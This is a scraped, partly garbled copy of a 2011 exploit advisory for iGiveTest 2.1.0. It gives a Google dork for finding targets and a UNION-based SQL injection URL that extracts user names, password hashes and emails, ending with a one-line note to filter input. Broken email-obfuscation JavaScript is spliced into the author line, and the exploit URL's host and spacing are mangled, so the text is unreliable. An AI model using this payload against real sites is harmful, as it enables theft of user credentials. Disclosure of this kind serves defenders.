IGiveTest 2.1.0 SQL Injection defects and repair

IGiveTest 2.1.0 SQL Injection Vulnerability

# Date: 2011-06-22

# Author: Brendan Coles <bcoles@gmail.com <SCRIPT type = text/javascript>

/* <! [CDATA [*/

(Function () {try {var s, a, I, j, r, c, l = document. getElementById ("_ cf_email _"); a = l. className; if (a) {s =; r = parseInt (. substr (0, 2), 16); for (j = 2;. length-j; j + = 2) {c = parseInt (. substr (j, 2), 16) ^ r; s + = String. fromCharCode (c);} s = document. createTextNode (s); l. parentNode. replaceChild (s, l) ;}} catch (e ){}})();

/*]> */

</SCRIPT>

# Advisory: http://itsecuritysolutions.org/2011-06-22-iGiveTest-2.1.0-SQL-Injection-Vulnerability/

# Software: iGiveTest

# Version: <= 2.1.0

# Homepage: http://iGiveTest.com/

# Google Dork: "Powered by iGiveTest"

# Vendor: Sight2k

# Homepage: http://sight2k.com/

# Notified: 2011-03-22 (currently unpatched)

# Exploit:

Guest level privilages, or higher, are required.

Http://www.bkjia.com/?path=/users.php? Action = groups & order =-1 & userids =-1) union select 1, concat (user_name, 0x3a, user_passhash), user_email, user_firstname, user_lastname, 6, 7 from users, groups where (1

Fixed: Filter users. php input parameters.